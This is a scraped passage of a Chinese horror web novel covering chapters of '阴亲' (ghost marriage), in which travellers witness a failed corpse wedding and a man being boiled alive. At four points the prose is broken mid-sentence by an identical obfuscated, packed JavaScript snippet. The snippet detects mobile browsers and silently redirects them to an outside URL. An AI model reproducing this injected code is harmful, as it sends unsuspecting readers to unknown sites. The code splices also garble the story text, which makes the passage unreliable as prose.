然而此地的构造似乎有意扰乱，回廊并非笔直，时常莫名拐转，或出现毫无必要的上下短阶，像是迷宫一般使人难以判断。 行至一处尤为阴暗的转角，苏却忽然停下了脚步。 “怎么了？”宋停停下哼唱。 她停在一面看似无异的墙壁前，手指在墙上反复按压了几下，又侧耳贴墙细听。 “声音有点空。”说着，她加大力道，在某块区域用力一按。 只听得砂石摩擦，一块约一人高的墙竟悄无声息地向内旋开，露出一条狭窄的缝隙，内有下行阶梯，一股混合着陈腐尘土和阴冷气息的风迎面涌来。 两人对视一眼，皆看到对方眼中的警惕。 宋停收起嬉色并未言语，只是朝苏却晃了晃一直抱在手里的木盒，随后率先侧身挤入那缝隙。 苏却紧随其后。 暗道初极窄，仅容一人通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279579|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行，石阶陡峭向下。走了约十来级，又开始向上。 之后推开头顶的一块木门，眼前豁然开朗。 却并非想象中的密室，而是一处院落，中间似乎是一个圆形的什么，只残留了一点痕迹，无法辨认。 四个墙角各有一个两人高的炬台，里面火焰熊熊，照得整个院落非常明亮。 院中整齐排列着数间房屋，样式统一，紧闭无声。 每扇门上都挂着一把形制古朴、异常沉重的铜锁，锁身布满暗绿锈迹。 整个院落死寂无声，连他们的呼吸声都显得格外清晰。 苏却试着推了推最近的一扇门，门板厚重，纹丝不动。 她贴近从门缝向内窥视，唯有漆黑一片，什么也看不清。 “这么多锁，得找到钥匙才行。”宋停即便压低声音，也显得格外清晰。 此地诡异，不宜久留。 两人不再多言，迅速循原路退回。 苏却小心将暗门复原，墙板严丝合缝，几乎看不出痕迹。 回到前厅，他们试着寻找其他人，很快与彭绍方、袁慈邈及金玉明、赵文安汇合。 他们四人似乎一无所获，脸色凝重。 苏却也只简略告知了后院有几间锁住的屋门，需要打开才能查看。 “钥匙？”袁慈邈蹙眉，“会藏在府中何处？这无异于大海捞针。” “那就继续分头吧，边探边找，快些。”彭绍方道。 无人反对，当下便再分开寻找钥匙踪迹。一组，往东侧厢房寻，一组往西边探。 宋停溜溜达达，似乎又对喜堂产生了兴趣。 苏却独自选了一条她未曾过的回廊。 这条回廊更为偏僻，两侧房间大多空置，积着薄灰，像是废弃已久。 她推开一扇又一扇门，里面陈设均为寻常，也不似能藏物之处。 偶有柜子抽屉，也一无所获。 廊道尽头又好像是一处独立小院，院中有一间孤零零的屋舍，环境幽静，门两侧悬着一副对联，上书“庭深不锁，墨冷长窥”。 像是书房一类所在。 她细听内里并无动静，便轻轻推门而入。 屋内陈设果然像是一间书房。 书架林立，却多置残破册页。靠墙立着一个多宝格，上面零星放着些蒙尘的瓷瓶玉器，黯淡无光。书案宽大，但其上空无一物，不见笔墨纸砚。 苏却的目光扫过书架，掠过摆设，最终落在角落一个不起眼的矮柜上。 柜门紧锁，锁具形制精巧，与院内那些沉重铜锁不同。 她蹲下身，仔细查看那锁孔，又试着晃动柜门。 柜子很沉。 她突觉触感微异，似乎有一片区域的木质纹理与周边有极细微的差别。 她借着门外透入的微弱光线凑近细看，发现那竟是一个极其巧妙的暗扣。挂着的小锁竟只是摆设，真正的机关与木纹融为一体，若非仔细触摸，根本无从发现。 她指尖用力，按下那处暗扣。 “咔哒。” 一声极轻微响动自柜内传出。 与此同时，一道冰冷的声音，毫无征兆地贴着她耳后响起。 “你在找什么？” 苏却身体骤然一僵，按在暗扣上的手指瞬间停滞。 8. 阴亲（八） 阴亲（八） 苏却缓缓回头。 只见来人是一名年纪在五十上下的中年男子，一身暗红色华服，料子虽好，却无过多纹饰。 这是城主。 她做事一直都很谨慎，可他悄无声息地站在身后，竟一点声音也没有，罕见地令她心惊。 城主的目光在她脸上停留，那目光并无审视，却有一种洞穿般的平静，让人无所遁形。 苏却很快就稳住心神，放开了手中的柜子，起身坦然迎上城主的目光：“抱歉，想方便，走错了。” “府中路径是复杂了些。”城主点点头，没有看矮柜，也没有继续追问，只是声音平静，“这里，曾经是吾儿的书房。” 苏却心中有过这个猜测。 只是看到城主的神情，想说点什么，又不知该说什么，叹一口气：“城主节哀。” 正说话间，一名侍从脚步匆匆来到书房门外，垂首低声道：“城主，亲已经接回，快到府门口了。” 城主神情微动：“既是来观礼，便一同前去吧。” 言罢，转身便走。 那侍从侧身让路，目光低垂，仿佛苏却不存在。 苏却知道自己暂时安全过关，但必须先放弃，只能跟上。 一行人来到府邸大门处。 夜色深处，只见有一列迎亲队伍，正沿着灯笼指引的路径，缓缓向这边行进。 没有吹打，没有喧哗。 前头有两个举着灯笼开路的仆从，随后就是一群低着头、穿着暗红服饰的扛轿人。 他们步履平稳，仿佛感受不到肩上那顶白轿子的重量。 那顶白轿在夜色中格外扎眼，带着未知的新娘，像一口移动的活棺。 轿顶四周垂落着稀疏的流苏，随着移动微微晃动，隐约能透过微微掀起的轿帘，看到新娘喜服的裙边。 轿子两侧和后面，各随行四名仆从。他们手里既无乐器，也无仪仗，只是垂着手，低着头，沉默地向前走。 整个队伍如同送葬，却又诡异地举着“迎亲”的大字。 队伍缓缓行至城主府门前，停下。 而队伍前方，竟站着一个人 卫成风。 他换了一身和城主颜色相近的衣裳，头发也梳理过，腰杆挺得笔直，脸上带着一种虚张声势的笑容，对着城主躬身行礼。 “城主大人，不辱使命，我已经顺利接到新娘，一切均已妥当。” 他那副模样，俨然已将自己当成了城主麾下的有功之臣，似乎完全忘了自己昨日的仓皇恐惧。 城主并未与他说话，目光掠过，投向了那顶白色的轿子。 这时，城主夫人也在侍女搀扶下疾步而来。 她也衣着暗红，愈发衬得面容憔悴，双眼红肿，显然是哭过许久。 她一把抓住城主的胳膊，声音发颤：“来了吗？是她来了吗？” 城主轻轻拍了拍她的手背，目光依旧望着轿子。 轿帘被一名仆从无声掀开。 里面端坐着一个身影，红鞋红嫁衣，盖着大红盖头。 由两名仆从上前，一左一右，将其缓缓搀扶出来。 “好，好……来了就好……”城主夫人忍不住掩嘴，发出压抑的呜咽，眼泪滑落，像是抓住了救命稻草。 城主眼眶亦微微发红，嘴唇紧抿，眼神比刚刚看苏却时，多了一点慰藉的光。 卫成风在一旁笑道：“恭喜城主，贺喜夫人，此乃天大的喜事，少主九泉之下，必能安息了。” 无人理会他。 此时，一位戴着一张半遮脸面具的术士从暗处走出，站在新娘面前。 他身着一件云雷纹边的玄色大袖宽袍，一手持一柄色泽深沉的桃木剑，另一手托着一面小紫铜罗盘。 直到罗盘指针微微颤动之时，他才开口喊道：“吉时已到，新人入门。” 那声音似有回音，响彻天际。 正好应和外头响起的打更声音，一慢两快，三更天。 仪式就在这死寂无声、红白交织的环境中开始了。 喜堂外的院子中央，已摆上桌案器具、交椅和蒲团。 吴少凌已被两名强壮的仆从架出喜堂，摆弄成跪拜的姿势。 他依旧眼神空洞，毫无反抗，就如一个真正的提线木偶。 那术士先是缓步踱至场中，点燃一支手腕粗细的白烛后，手中桃木剑斜指地面，另一手托着的罗盘微微调整着方位。 他口中念念有词，却无人能听清，只能听得窸窸窣窣的动静，在寂静的院中回荡。 随着他的吟诵，一阵阴风猛地袭来，廊侧檐下灯笼的烛火开始齐齐向着中心桌案上白烛的方向拉扯，火苗忽长忽短，偏偏吹不灭任何一盏。 术士对周遭异象恍若未觉，吟诵声渐急，并同时以桃木剑尖虚点吴少凌与那新娘。 随后，一团火球突然从白烛焰尖腾起，飞向喜堂。 术士快步跟进，向着那具敞开的棺木，侧耳做出聆听姿态。 片刻后，他微微颔首出门，转向城主，那面具后的声音空洞，却带着一种不容置疑的意味：“少主之意已明，吉时无误，可续嘉礼。” 一拜天地。 二拜高堂。 夫妻对拜。 每一次被按压着低头，吴少凌的身体都僵硬得像一块木头。 对面的新娘同样由人操控着完成动作。 礼成。 两个字冰冷地落下。 没有欢呼，没有贺喜。 只有烛火燃烧的噼啪微响，和城主夫人低低地啜泣。 饶是一贯镇静、见惯风浪的苏却，也不曾见过这样令人窒息的场面，手指早就在不知觉中紧紧攥成拳头。 惨不忍睹。 可谁也不曾开口。 不敢动作。 整个仪式如行云流水，又带着一种不容打断的森严。 每一个步骤都精准得可怕，仿佛演练过千百遍，一切都在所有仆从、城主、夫人和术士的掌控之中。 他们几个，就真的完完全全是被邀请的看客，身不由己。 任何一声惊呼、一个阻拦的动作，在此刻都显得徒劳，甚至可能立刻会招致灭顶之灾。 一种无力感困住他们的手脚，只能眼睁睁看着，被动地承受着这令人头皮发麻的每一幕。 袁慈邈脸色苍白如纸，嘴唇抿得死紧，赵文安更是几乎将整个身子贴在袁慈邈身后，彭绍方眉头紧紧皱着，金玉明呆愣在原地，脸上还挂着淌出的泪滴。 就连一向散漫的宋停，此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279580|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也收敛了惯有的嬉笑，目光落在吴少凌身上，面无表情，看不出情绪。 喜堂内，烛火似乎燃烧得更旺了。 那口黑漆棺木依旧停放在中央，棺盖斜靠在一边。 而更令人心惊的是，棺木旁边，不知何时已架起了一口巨大的铁锅，锅底下柴火正旺，锅内的水剧烈沸腾着，白汽弥漫。 一股潮湿的热意融进阴森的夜。 术士将一条缀着花球的白绫一端交给新娘，又将另一端递到吴少凌手中。 吴少凌便像被无形的线拉扯着一般，牵着新娘，一步一步，缓缓走向喜堂，并托举着新娘爬进棺中，看着她躺下。 整个过程，吴少凌和新娘都毫无声息，顺从得可怕。 随后，术士拿起一旁准备好的长达七寸的镇钉和一把沉重的铁锤，示意仆从将棺盖合上。 几名仆从便将棺盖抬起，移动至棺椁上方。 可，只在瞬间， 异变陡生！ 那棺木猛地剧烈震动起来，仿佛内部有什么东西正要破棺而出。 仆从想要强行按下也是无用，棺盖被震得砰砰作响，根本无法盖上。 术士又吟唱声一顿，面具下的眼睛闪过一丝惊疑。 他加快语速，然而震动非但没有停止，反而愈发猛烈。 “怎么回事？！”城主厉声怒道。 术士还未回答，只听棺内传来一声沉闷的巨响。 像是某种东西被极度愤怒地撕裂、撑破。 紧接着，无数白色的、边缘粗糙的碎纸片，从棺椁中喷射出来，洋洋洒洒，飘落得到处都是。 哪还有什么新娘？ 棺内只剩下安静躺着的少城主尸体，以及覆盖在他身上、棺木内壁的厚厚一层碎纸屑。 那些纸屑上，似乎还残留着些许鲜艳的色彩，像是褪色的胭脂，又像是破碎的嫁衣。 整个喜堂霎时间静得可怕，只剩下沸水翻滚的咕嘟声。 城主脸上的血色瞬间褪得干干净净。 他死死盯着那棺木中的碎纸，瞳孔急剧收缩，身体因愤怒和绝望而微微发抖。 他这些日子的偏执与期望，在这一刻彻底化为乌有。 猛地，他转过头，血红的眼睛盯住了如同木偶般呆立在棺旁的吴少凌。 “是你不肯…是你不肯！才坏了我的事！！”他发出一声野兽般的低吼，一步上前，枯瘦的双手铁钳般死死掐住了吴少凌的脖子！ 吴少凌毫无反应，甚至因为窒息，脸上开始迅速涨红发紫，眼球微微外凸，是一具等待死亡的傀儡。 “城主！不可！”袁慈邈失声惊呼，却被身后的赵文安死死拉住。 彭绍方也是面色大变，却依然不敢妄动。 就在吴少凌即将毙命的刹那，城主疯狂的动作却停住了。 他掐着吴少凌脖子的手依然青筋暴起，但目光却在寻找着什么。 眼神极其可怖。 但他慢慢地，一点点地松开了掐着吴少凌脖颈的手。 吴少凌软倒在地，好像终于回过魂来一般剧烈地咳嗽起来，眼神里终于带上了极度的惊惧，浑身颤抖起来。 城主指着站在他身后的卫成风，声音嘶哑却清晰地下令： “把他，扔进锅里。” 9. 阴亲（九） 阴亲（九） 原先押着吴少凌的两名仆从面无表情地上前，一左一右架起了卫成风。 卫成风脸上的表情瞬间凝固，继而化为惊恐。 他直至此刻方真正明了自身境地，身体骤然发力，拼命挣扎起来。 “不！城主！大人！我为你立过功！我接回了新娘！非我之过！绝非我之过啊——！” 他绝望地哀嚎。 可那两名仆从手如铁钳牢不可破，一路拖着他，走向那口翻滚着白汽的巨大沸锅。 卫成风被拖至锅沿，灼人的热浪扑面袭来，炙得他面皮生疼，几乎无法视物。 “等等！”他对着喜堂门外爆发出一声尖嚎，“掌柜！我换！我用两年寿命换护命符，我换啊！” 他声音扭曲，破了嗓子嘶喊着，充满了最后的、疯狂的希冀。 然而，四周只有沸水咕嘟的声响，以及他惊惶的呼吸。 那个曾经承诺有需要即可兑换的客栈掌柜，并未如约而来。 预示着他的这次交易，终是徒劳。 他以为自己的投靠和所谓的功劳，在这一刻，只是笑话。 城主甚至没有再多看他一眼，只伫立在原地，望着棺木中儿子的尸体和满棺的碎纸。 半晌，他缓缓转过头，目光扫过苏却等人。 “阴亲未成，明日再办。送客！” 城主说完最后二字，像是失去了所有的力气，但须臾后又重新恢复了面无波澜的神情，转身扶住几乎站立不住的夫人，出门，一步一步，离开喜堂，走向内宅深处。 那名曾去书房寻找城主的仆从，上前微一躬身，引着他们向外行去。 喜堂的门，在他们身后缓缓合拢，将内里景象彻底隔绝。 声响变得模糊而遥远，最终恢复一片死寂。 仆从手中提着一盏白纸灯笼，步履平稳，引着这一行沉默的人穿过庭院与曲折的游廊，直至城主府门前。 “诸位，”仆从停步，将手中的灯笼微微提高，递给他们，“此灯盏可照明脚下之路，助各位安然返还客栈。” 他的语气平和轻缓，仿佛方才府内发生的一切，只不过是一场幻影。 苏却默然接过灯笼，直接迈步离开，众人跟上。 无人回头看。 原先指路的路边灯笼，不知何时已经全部熄灭。 来这里这些时日，他们第一次在这片黑暗中行走。 微弱的烛光在漆黑的街巷中，也只能照亮脚下方寸之地。 他们紧贴在一起，沉默地移动着，只听得见彼此呼吸声。 更深重的黑暗，依然包裹着他们。 他们心中都清楚，卫成风……绝无可能再出现了。 城主说，明日再办。 就是点明了，这场喜宴非要办到让他们满意为止。 一直不满就一直办，一直办就一直有人死。 这个死了会有下一个，他们死了还会有别人再来…… 还剩八天。 只剩八天。 回到客栈时，桌子上摆满了酒菜，掌柜正站在账台后面，像是等候许久。 他依然噙着一抹笑，什么也没问。 “辛苦诸位，今日诸位命筹在此。”他的手中，依旧是那几张裁剪整齐的白色纸条。 他们陆续上前从掌柜手中拿过，他也没有挑选，都是只给了最上面的一张。 苏却在最后。 拿过，展开，又一瞬被蓝色火舌吞噬，化为灰烬。 这次上面写着：拾。 而就在这时，一个声音从楼梯上方传来，带着恰到好处的焦急与关切。 “你们可算回来了，都没事吧？” 众人齐齐抬头望去，是今天一整天都未曾露面的周远至。 只见周远至脸色不佳，脚步虚浮，衣衫褶皱，神情担忧。 他的目光一个一个划过众人的脸，随即悲痛问道：“是不是有人……不曾回来？” 宋停一愣，终于想起被他们遗忘在苏却床底下的这位。 他竟自己出来了？ “既然诸位都已到齐，”掌柜开口道，“明日会重新举办婚宴。城主有令，特邀周远至周公子，于明日巳时初刻，至府中襄理婚仪诸事，其余诸位只要于吉时前，至城主府观礼即可。另外，原先在客栈养伤的吕公子因伤势实在过重，城主已命人厚葬，请诸位节哀。” “掌柜请慢，”彭绍方开口，“有一件事，我一定要与掌柜确认。” 掌柜微微颔首：“请说。” “今天在城主府，卫成风已经说要用两年寿命换护命符，为何你没有给？” 掌柜嘴角一勾，却没有笑的声音。 “当晚，我已提醒各位需行事慎重。”他背过身，缓缓走向账台，“人不为己，天诛地灭啊……” “你站住别走，把话说清楚……”彭绍方快步跟在掌柜身后，妄图拦他下来。 可掀开账台后的那扇帘子，竟是一面漆黑的墙。 彭绍方一拳锤上，皮破血流。 周远至脸上茫然，接连问道：“谁能告诉我今天究竟发生了何事？为什么你们一个一个面色凝重，为什么吴兄脖子上有这么骇人的勒痕，为什么卫兄回不来？” 然后他看向苏却和宋停，语气转而带上了几分沉重：“苏兄、宋兄，白日里……是否发生了什么变故？若二位发现了什么关窍，还望不吝告知。眼下情形危急，我们更应坦诚相待，方能寻得一线生机啊。” 他言辞恳切，全然一副为顾全大局的模样。 宋停嗤笑一声，懒洋洋地倚在楼梯扶手旁，语调拖得极长：“那你不妨仔细说说，你今天，都去哪儿了，啊？” 周远至面色不变，甚至带着几分无奈。 他叹了口气：“不瞒各位，我今日醒来已过正午，好不容易准备出门，却见吕兄躺在地上没了气息。他惨死房中，我深恐这客栈本身亦有凶险，若不查明，只怕是起居亦难安宁。于是趁此机会，将这客栈内外，仔细地探查了一番。” 他微微挺直了背脊：“我独自一人，几乎将这客栈上下能去之处都走了个遍，虽未找到什么明确的线索，但此举风险亦不小，只是为大家求个心安。本打算等大家回来便告知大家，却不想你们深夜未归……” 他话锋一转，有些委屈：“不知宋兄为何有此一问？莫非我此举有何不妥？还是说，是宋兄发现了什么，才觉得我这般独自探查，有不对之处？” “没有，没有！”宋停连忙笑着摇手。 “我觉得周兄说的对极了，大家就该同心协力，有什么猜测线索，都得拿出来分享，是不是？就比如周兄你昨夜不辞辛劳，摸黑来到我们房中，本想寻一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279581|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都能用得上的消息，与我们集思广益，却太过劳累睡过了头，这才有机会替大家探查客栈，拿了个命筹末等。这份心意啊，可真是令人感动。” 他嘴上说着感动，语气却一点也不感动，反而愈加嘲讽。 此话一出，众人都猛地看向周远至。 周远至面色更差，还强自镇定道：“宋兄这是何意？我昨夜只是因为卫兄末位，心中焦虑难以入眠，想寻苏兄苏大人商讨对策，可能方式欠妥得罪苏兄宋兄，但绝无他意。反倒是二位，不由分说便将我制住……莫非是真有什么发现，生怕被我知道？” 他倒打一耙，试图将水搅浑：“我周远至行事或许冲动，但问心无愧，一切只为能与大家一起，多一分活下去的机会。可二位呢？手握关键线索却秘而不宣，致使卫兄下落不明，如今还要污蔑于我？难道真要看着我们一个个命序垫底，二位才满意吗？” 苏却一直冷眼旁观。 一场早已预料到的拙劣戏码。 她看着周远至，目光平静，直到周远至这番“慷慨陈词”完毕。 她开口，声音清冷，却极具穿透力。 只问一句：“与你何干？” 周远至所有的话瞬间被堵在了喉咙里，张着嘴，却一时找不到任何言辞来反驳。 彭绍方、金玉明等人闻言，神色也都复杂起来。 苏却却不再看他们任何人，只是拿起之前放在桌上那盏还燃着的白纸灯笼。 转身，径直走出了客栈的大门，一步踏入了外面浓得化不开的黑暗之中。 “苏却！”袁慈邈惊呼一声，想上前拽住她。 门外黑暗中危险未知，这人独自一人提着那点微光要去哪里？ 但苏却的身影没有丝毫犹豫，很快便被黑暗吞没。 她现在需要安静，需要理清自己的思绪。 更重要的是，无论真假，她都要去寻白日里，那人皮新娘告诉她的真新娘的所在。 她告诉她，今日，她在第九间。 苏却不确定什么时间算今日，什么时间算明日。 她只知道自己不想再等到天亮了。 从刚来这里，他们这群人就被无边无际充满未知的黑暗恐吓住。 躺上床塌、枕着一只会强制入睡的枕头、醒来就是五更天…… 看似自由，其实还是按部就班地行动，仿佛被人控制了一般。 直到，她接过这只，能助他们安全返回的灯笼。 只要她没回客栈，只要灯笼还是亮的，只要她还提着，她就是安全的。 她想，哪怕这个想法错了，这么久了，也该冒险一次。 她在无人的街道上穿行，拐弯，最终停在了这条断头巷尽头附近。 第九扇门。 苏却深吸一口气，抬起手，轻轻敲了敲木门。 “叩、叩、叩。” 声音在夜里显得十分清晰。 门内传来细微的脚步声。 “吱呀——”一声，木门从里面被拉开了一条缝隙。 门后，不是新娘的父亲。 只站着一个女子。 借着灯笼微光，看得出她容貌清秀，眼神清澈。 她看着苏却，眼中没有丝毫意外，仿佛早已知道她会来。 “你来了。” “我等你很久了。” 10. 阴亲（十） 阴亲（十） 她似有很多话要说，但并未让苏却进屋，甚至未将门再拉开半分。 只是隔着那条缝隙，看着她。 “等我？”苏却上前几步，凑近。 透过门缝，她状似无意地往里瞥了一眼。 未曾点灯，什么也看不清。 这名女子虽并未身穿嫁衣，但身量和苏却见过的纸人新娘差不多。 她将一样东西塞进苏却手里，语速极快，仿佛怕被谁听见一般：“蜡烛快燃尽时间不多，我只说三件事，你听仔细。” “其一，今日见过我后，莫要再来这边走动，此处已无你要的更多线索，唯剩凶险。” “其二，”她顿了顿，紧紧握住苏却的手，声音更低，“之后你需要成为末位，去城主府带人来接我，将我交出去。我……愿嫁。” 苏却瞳孔微缩。 这女子竟是要，主动要求参与这场冥婚？ 不等她发问，女子忽然神色一紧：“其三，一路上一直有人跟着你。离那人远些，越远越好！” 言罢，她快速将门合拢。 一声轻响，将内外隔绝，也掐断了所有疑问。 苏却侧头看向来时路，尽是黑暗。 而她塞到自己手里的，竟是一小截蜡烛。 苏却实在想不通。 从人皮新娘开口和她说话起，她就觉得非常奇怪。 自己手中的线索看似都很重要，实则零零碎碎，时而有点头绪，但又发觉矛盾疑问重重，如雾里看花，不求甚解。 不远处巷口拐角，一粒昏黄的光点移来。 而又在此时。 噗。 她手中那盏白纸灯笼里的烛火，毫无征兆地，熄灭了。 周身瞬间被黑暗吞噬，苏却甚至来不及做出任何反应，左肩猛地一沉。 并非重击，而是一种尖锐的刺痛，仿佛被什么薄利的东西瞬间贯穿，一击即走。 钻心疼痛让她踉跄一步，闷哼出声。 温热的液体迅速浸透了衣衫，贴在肩头。 光点也正慢慢向她逼近。 她把灯笼扔向路另一侧，紧贴门边，死死捏起了拳头。 虽然受了伤，但只要来人没有武器，她有把握。 黑暗只持续了短短几次呼吸的时间。 是宋停。 他手中举着一支白色粗蜡烛，烛火跳动，将他一贯懒散的神情照得有些模糊。 烛光映照下，苏却右手已紧捂住伤处，可左肩依然被洇湿了一大片，指缝间已有鲜血渗出，血迹正在迅速扩大。 可巷道空寂，除了他们二人，再无别的声息。 “怎么回事？”宋停伸手欲查看伤势。 苏却侧身避开他的手，看向他手中的蜡烛：“哪来的？” “我打开了那个木盒，”他解释道，“里面是三样东西：一个小瓷瓶，一把旧钥匙，还有这支蜡烛。” 他大幅晃了晃手中的蜡烛，还吹了几口：“如你所见，不会灭，应该只能用一次。” “为何跟来？”苏却的眼神从蜡烛移到他脸上，盯着他，想起了新娘对她的警告。 宋停沉默。 巷道里只剩下烛火燃烧的声音。 他看着她流血的肩膀，又看向她过分冷静的眼睛。 过了许久，脸上才慢慢重新扯出那种惯有的、半真半假的笑。 “若是我说因为害怕，你肯定不信，我说了也是白说。可你又要怀疑，又一定要我的解释，我张嘴不对，闭嘴更是不对，你怎么这么麻烦。” 苏却闻言，只是淡淡瞥了他一眼，难得地回了一句：“明天我留在客栈养伤，不跟着我，你也不用麻烦。” 宋停一愣，似是没料到她会接这话，随即嗤笑出声，摇了摇头：“可上一个留在客栈养伤的人，已经不明不白地死咯。” 随后，他将蜡烛举低了一些：“先回去再说吧。” 回客栈的路上，宋停罕见的安静。 “所以，你也觉得吕初郎死因有异是吗？”苏却问，肩头的刺痛竟让她有些平静。 宋停回：“他如果该死，早就死了。” 这句话苏却认同。 在这里，死，应该是有条件的。 譬如醉酒人，死于掀了新娘盖头； 譬如卫成风，死于接回假新娘。 以一年寿命为代价，卫成风明明已避开了成为傀儡新郎的末位之祸，却因为想要讨好城主，自请迎亲。 所以阴错阳差，他还是躲不开这场本就应该是他的结局。 于是，就如他自己曾经说的那样，借着他的命，他们多了这些线索。 “你是不是怀疑，是周远至杀了他？”宋停见苏却没说话，问道。 “于他而言，并不划算。”苏却摇头，“周远至没有离开客栈，便没有线索没有命筹。吕初郎活着，绝对是末位，他何必杀人。” “也对。”宋停赞同。 苏却继续：“但，客栈一定有问题，周远至也一定知道了什么。” “可我也曾经未曾出门，留在客栈。”宋停道，“第一天我就逛了个遍，一楼桌子椅子酒柜账台，二楼是客房，三楼也是。不过三楼久无人居全是灰尘，房间也是空空荡荡，一推门即所有，实在看不出什么异常。” 苏却抬头，看向面前不远处的客栈。 “所以明天，我留下。” 大堂里，就只剩下袁慈邈和吴少凌。 袁慈邈正拍着吴少凌的肩头，两人正在说些什么。 见苏却带着伤和宋停回来，袁慈邈连忙起身过来。 苏却摆手示意无碍，拒绝他的搀扶和追问。 袁慈邈叹了口气，又几度看向宋停，欲言又止。 宋停把手里的蜡烛一侧，几滴蜡油落下，一压，蜡烛立住，道：“有话就说。” “宋兄，你走以后，周兄……周远至，就带着赵文安和金玉明去了苏兄的房间，拿走了你的盒子。”他抬头看了看二楼，又看回苏却，“可是你们究竟去干什么了，为什么会受伤，还流这么多血？” “这么迫不及待啊。”宋停坐下，给自己倒了一碗水，“事情都还没什么眉目，这么快就翻脸，看来他们已经胸有成竹咯。你们俩，怎么没一起去看？” 苏却眉头一皱：“你在里面放了什么？” “也没什么，写了一句废话，放了五块小骨头，一块破衣裳。”他耸了耸肩，瘪着嘴道。 “所以你早有应对？那他们不久前那一阵大笑和恍然大悟……哈哈哈，宋兄你真是……”袁慈邈被宋停的模样逗笑了，“吕兄屋里应该还有一些药，苏兄你回房休息吧，我来给你上药。” “不必，我自己可以。”苏却拒绝，上楼回房。 宋停没有跟来，在楼下插科打诨，饶是惊魂未定的吴少凌，神情也缓和了几分。 房门在身后合拢，隔绝了楼下的烛光和谈笑。 苏却背靠着门板，缓缓吁出一口气。 左肩从内而外的鼓胀疼痛此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279582|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻才愈发清晰起来。 她走到盆架边，脱下衣服，用右手舀了冷水，慢慢清洗肩头的伤口。冷水触到伤口，激得她倒吸一口凉气，右手的动作因疼痛而颤抖。 即便如此，她牙手配合，很快将止血带紧紧扎牢。 这种事情实在寻常，她极老练。 伤口贯穿，边缘整齐，动作利落，却不致命。 那袭击者来得诡异，去影无踪。 是因为蜡烛熄灭仍留在黑暗中的惩罚，还是早有人潜在暗处的伺机而动？ 宋停出现得又太过巧合。 还有那个新娘所指的那人，是宋停吗？ 她包扎好伤口，换好衣物吹了蜡烛，枕着被子躺下，耳朵还捕捉着楼下的动静。 袁慈邈似乎劝着吴少凌回房了，宋停的脚步声也上了楼，停在了门口。 片刻后，是门被推开后又关上。 他在黑暗中伫立良久后，于床榻最外侧和衣躺下，中间隔开一道分明界限。 “苏却，你是不是没睡。” “嗯。” “那你，要睡那个枕头吗？” “闭嘴。” “你肩上，严重吗？” “……” “我以为你会谢谢我来找你。” “……” “你不问问我盒子里的字条写了什么吗？” “……你睡不睡？” “最后几个问题，你愿意回答就回答，不愿意就当没听见，行不行？” “……”苏却忍了忍，“你说。” “如果，你身边亲近的人死了，你会哭吗？” “……” “好。”宋停接着问，“掌柜给我的命筹纸条，是一张白纸……我是不是，确实和你们不一样？” 黑暗中，苏却的呼吸几不可察地顿了一瞬。 “白纸？”她重复道，“从未有过字？” “从未。”宋停的回答斩钉截铁，“一片空白，一个字也没有。” 漫长的沉默在两人之间蔓延。 这个问题远超出了苏却所有的预料。 她知道宋停一开始就和众人不一样。 可命筹是如此重要，与众人的生死几乎息息相关，一张白纸所代表的含义，远比一个确定的数字更令人不安。 “嗯，”她最终开口，“不一样。你与我们，截然不同。” “那，我有一个猜测。” “……” “没有命筹自然也不会排命序，所以我其实是局外人。这里原本应该就只有你们十个，如果你们运气足够好，第一天就选中真新娘，那么这里的意义是什么？” “什么意思？” “就是说，你有没有想过，或许那新娘，根本不在那十间房里。你们不管怎么看怎么选，都是错的，因为真新娘一开始就不在。” “为什么？” “因为很奇怪。” “……同样是纸人，父母的眼睛没有任何问题，但不可看新娘；不知新娘真假，就已经烧好一口大锅，请君入瓮。” “你早就发现了？” “我见过新娘，今晚。” “是真的还是假的？” “她叫我，成为末位，让她出嫁。” “她让你去死？” “……” 黑暗中，两人皆无睡意，各怀心思，唯有彼此呼吸交错起伏。 一切似乎归于平静。 但苏却知道，这平静之下，暗流汹涌。 11. 阴亲（十一） 阴亲（十一） 